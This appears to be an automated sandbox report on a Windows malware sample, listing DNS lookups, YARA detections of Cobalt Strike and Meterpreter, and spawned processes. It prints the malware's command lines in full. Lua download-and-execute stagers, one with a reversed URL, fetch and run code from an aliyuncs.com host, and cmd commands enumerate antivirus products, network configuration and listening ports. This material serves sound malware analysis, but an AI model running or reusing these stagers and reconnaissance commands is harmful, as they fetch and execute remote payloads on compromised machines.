Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:28.133626938 CEST	8.8.8.8	192.168.2.3	0xe314	No error (0)	adobe.com.d1.sc.omtrdc.net		15.236.176.210	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:28.133626938 CEST	8.8.8.8	192.168.2.3	0xe314	No error (0)	adobe.com.d1.sc.omtrdc.net		15.188.95.229	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:28.133626938 CEST	8.8.8.8	192.168.2.3	0xe314	No error (0)	adobe.com.d1.sc.omtrdc.net		13.36.218.177	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:47.400381088 CEST	8.8.8.8	192.168.2.3	0x9acf	No error (0)	lualibs.oss-cn-hongkong.aliyuncs.com		47.75.19.154	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:48.835565090 CEST	8.8.8.8	192.168.2.3	0xc754	No error (0)	lualibs.oss-accelerate.aliyuncs.com	oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:48.835565090 CEST	8.8.8.8	192.168.2.3	0xc754	No error (0)	oss-acc-allline.aliyuncs.com	oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:48.835565090 CEST	8.8.8.8	192.168.2.3	0xc754	No error (0)	oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:48.835565090 CEST	8.8.8.8	192.168.2.3	0xc754	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.176	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:48.835565090 CEST	8.8.8.8	192.168.2.3	0xc754	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.154	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:51.939393044 CEST	8.8.8.8	192.168.2.3	0x3923	No error (0)	softres.oss-accelerate.aliyuncs.com	oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:51.939393044 CEST	8.8.8.8	192.168.2.3	0x3923	No error (0)	oss-acc-allline.aliyuncs.com	oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:51.939393044 CEST	8.8.8.8	192.168.2.3	0x3923	No error (0)	oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:51.939393044 CEST	8.8.8.8	192.168.2.3	0x3923	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.176	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:51.939393044 CEST	8.8.8.8	192.168.2.3	0x3923	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.154	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

softres.oss-accelerate.aliyuncs.com

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 8v4iWYLvKJ.exe PID: 5688 Parent PID: 5548

General

Start time:	14:37:09
Start date:	13/07/2021
Path:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\8v4iWYLvKJ.exe'
Imagebase:	0x7ff6566d0000
File size:	2192640 bytes
MD5 hash:	765CF8227A47CEF845B23E6B56ACF926
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: luac.exe PID: 1564 Parent PID: 528

General

Start time:	14:37:11
Start date:	13/07/2021
Path:	C:\ProgramData\lua\luac.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\lua\luac.exe -e 'code = \'local http=require('socket.http');\'..\'local response_body = {}\'..\'local res, code = http.request({\'..\' url = string.reverse('aul.344-SC-1/68x/moc.scnuyila.gnokgnoh-nc-sso.sbilaul//:ptth'),\'..\' sink = ltn12.sink.table(response_body)\'..\'})\'..\'if type(response_body) == 'table' then\'..\' loadstring(table.concat(response_body))()\'..\'else\'..\' print('error')\'..\'end\';loadstring(code)();'
Imagebase:	0x400000
File size:	35840 bytes
MD5 hash:	B747D97542F2E512AB640D0A67D5DA91
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86, Description: Detects CobaltStrike payloads, Source: 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp, Author: Avast Threat Intel Team Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp, Author: Joe Security Rule: CobaltStrike_C2_Decoded_Config_Indicator, Description: Detects CobaltStrike C2 decoded profile configuration, Source: 00000002.00000002.475650792.0000000002A30000.00000004.00000040.sdmp, Author: yara@s3c.za.net Rule: HKTL_Meterpreter_inMemory, Description: Detects Meterpreter in-memory, Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, Author: netbiosX, Florian Roth Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, Author: yara@s3c.za.net Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, Author: yara@s3c.za.net Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, Author: Joe Security Rule: HKTL_Meterpreter_inMemory, Description: Detects Meterpreter in-memory, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: netbiosX, Florian Roth Rule: Cobaltbaltstrike_Beacon_x86, Description: Detects CobaltStrike payloads, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: Avast Threat Intel Team Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: yara@s3c.za.net Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: yara@s3c.za.net Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, Author: Joe Security Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86, Description: Detects CobaltStrike payloads, Source: 00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp, Author: Avast Threat Intel Team Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp, Author: Joe Security Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86, Description: Detects CobaltStrike payloads, Source: 00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp, Author: Avast Threat Intel Team Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Flash.exe PID: 5864 Parent PID: 528

General

Start time:	14:37:13
Start date:	13/07/2021
Path:	C:\Users\user\AppData\Roaming\Flash.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Flash.exe
Imagebase:	0x1010000
File size:	2285824 bytes
MD5 hash:	9F7C02C3D29ACFAFFA51CF2F7FF8B88A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 4424 Parent PID: 1564

General

Start time:	14:37:13
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4448 Parent PID: 4424

General

Start time:	14:37:13
Start date:	13/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: NETSTAT.EXE PID: 2480 Parent PID: 4424

General

Start time:	14:37:14
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat -ano
Imagebase:	0xb00000
File size:	32768 bytes
MD5 hash:	4E20FF629119A809BC0E7EE2D18A7FDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: findstr.exe PID: 1364 Parent PID: 4424

General

Start time:	14:37:14
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr LISTEN
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: findstr.exe PID: 5480 Parent PID: 4424

General

Start time:	14:37:15
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr 127.0.0.1:
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 5672 Parent PID: 1564

General

Start time:	14:37:16
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 3296 Parent PID: 5672

General

Start time:	14:37:16
Start date:	13/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: NETSTAT.EXE PID: 3216 Parent PID: 5672

General

Start time:	14:37:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat -ano
Imagebase:	0xb00000
File size:	32768 bytes
MD5 hash:	4E20FF629119A809BC0E7EE2D18A7FDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: findstr.exe PID: 5768 Parent PID: 5672

General

Start time:	14:37:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr LISTEN
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: findstr.exe PID: 3008 Parent PID: 5672

General

Start time:	14:37:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr 127.0.0.1:
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5076 Parent PID: 1564

General

Start time:	14:37:23
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4760 Parent PID: 5076

General

Start time:	14:37:24
Start date:	13/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 1000 Parent PID: 5076

General

Start time:	14:37:27
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Imagebase:	0x1240000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 1708 Parent PID: 5076

General

Start time:	14:37:30
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC os get caption
Imagebase:	0x7ff6741d0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: ipconfig.exe PID: 748 Parent PID: 5076

General

Start time:	14:37:32
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x840000
File size:	29184 bytes
MD5 hash:	B0C7423D02A007461C850CD0DFE09318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4720 Parent PID: 1564

General

Start time:	14:37:36
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3484 Parent PID: 4720

General

Start time:	14:37:36
Start date:	13/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 5332 Parent PID: 4720

General

Start time:	14:37:37
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Imagebase:	0x1240000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 5576 Parent PID: 4720

General

Start time:	14:37:39
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC os get caption
Imagebase:	0x1240000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: ipconfig.exe PID: 3360 Parent PID: 4720

General

Start time:	14:37:41
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x840000
File size:	29184 bytes
MD5 hash:	B0C7423D02A007461C850CD0DFE09318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5904 Parent PID: 1564

General

Start time:	14:37:45
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5932 Parent PID: 5904

General

Start time:	14:37:45
Start date:	13/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: lua.exe PID: 2484 Parent PID: 5904

General

Start time:	14:37:46
Start date:	13/07/2021
Path:	C:\ProgramData\lua\lua.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Imagebase:	0x400000
File size:	20480 bytes
MD5 hash:	847B0D65C80A8E777E8AA108295C0B95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4448 Parent PID: 2484

General

Start time:	14:37:49
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: NETSTAT.EXE PID: 5992 Parent PID: 4448

General

Start time:	14:37:49
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat -ano
Imagebase:	0xb00000
File size:	32768 bytes
MD5 hash:	4E20FF629119A809BC0E7EE2D18A7FDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: findstr.exe PID: 5652 Parent PID: 4448

General

Start time:	14:37:49
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr LISTEN
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: findstr.exe PID: 496 Parent PID: 4448

General

Start time:	14:37:50
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr 127.0.0.1:
Imagebase:	0x840000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6640 Parent PID: 2484

General

Start time:	14:38:15
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6660 Parent PID: 2484

General

Start time:	14:38:16
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6692 Parent PID: 2484

General

Start time:	14:38:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6704 Parent PID: 2484

General

Start time:	14:38:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6716 Parent PID: 2484

General

Start time:	14:38:17
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6728 Parent PID: 2484

General

Start time:	14:38:18
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6740 Parent PID: 2484

General

Start time:	14:38:19
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6752 Parent PID: 2484

General

Start time:	14:38:19
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6764 Parent PID: 2484

General

Start time:	14:38:20
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6776 Parent PID: 2484

General

Start time:	14:38:20
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6788 Parent PID: 2484

General

Start time:	14:38:21
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6800 Parent PID: 2484

General

Start time:	14:38:21
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6812 Parent PID: 2484

General

Start time:	14:38:22
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6824 Parent PID: 2484

General

Start time:	14:38:23
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\
Imagebase:	0x7ff7488e0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6836 Parent PID: 2484

General

Start time:	14:38:23
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

